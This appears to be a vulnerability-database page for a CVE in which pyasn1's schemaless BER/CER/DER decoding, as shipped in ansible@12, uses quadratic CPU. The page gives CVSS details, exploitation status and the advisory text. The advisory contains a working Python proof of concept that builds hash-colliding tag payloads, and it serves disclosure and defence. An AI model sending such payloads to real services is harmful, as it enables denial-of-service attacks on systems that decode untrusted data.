VulnerabilityPublished 31 Oct 2026

CVE-2026-119194: Ansible@12 · pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding

Affects ansible@12Source GCVE Database

Compare

Authoritative record:CVE-2026-119194· High 7.5

Not known to be exploited · CVSS 7.5 High.

Data as of 31 Oct 2026, 16:51 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none

CVSS scores by source
CNA (GitHub_M)	CVSS 3.1	7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 29 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Affected software

Product	Affected	Fixed in
Homebrewansible@12`pkg:brew/ansible%4012`Other threats	Affected >=12.2.0	Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability. ### Details ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder. ### Proof of concept Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed: ```python import sys import time from pyasn1.codec.ber import decoder from pyasn1.type import univ def enc_tag(tag_id): groups = [tag_id & 0x7f] tag_id >>= 7 while tag_id: groups.append((tag_id & 0x7f) | 0x80) tag_id >>= 7 return b'\xbf' + bytes(reversed(groups)) def payload(tag_ids): body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A' for tag_id in tag_ids) length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big') return b'\x30' + bytes([0x80 | len(length)]) + length + body for count in (3200, 6400): cases = ( ("collision", [32 + i * sys.hash_info.modulus for i in range(count)]), ("control", [(1 << 70) + i for i in range(count)]), ) for name, tag_ids in cases: wire = payload(tag_ids) start = time.process_time() value, remainder = decoder.decode(wire) cpu_seconds = time.process_time() - start assert type(value) is univ.Sequence assert len(value) == count and remainder == b'' for position, tag_id in enumerate(tag_ids): component = value.getComponentByPosition(position) assert component.asOctets() == b'A' assert component.tagSet[-1].tagId == tag_id print(count, name, len(wire), round(cpu_seconds, 3)) ``` ### Impact Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.

References

Community reviews

Loading reviews…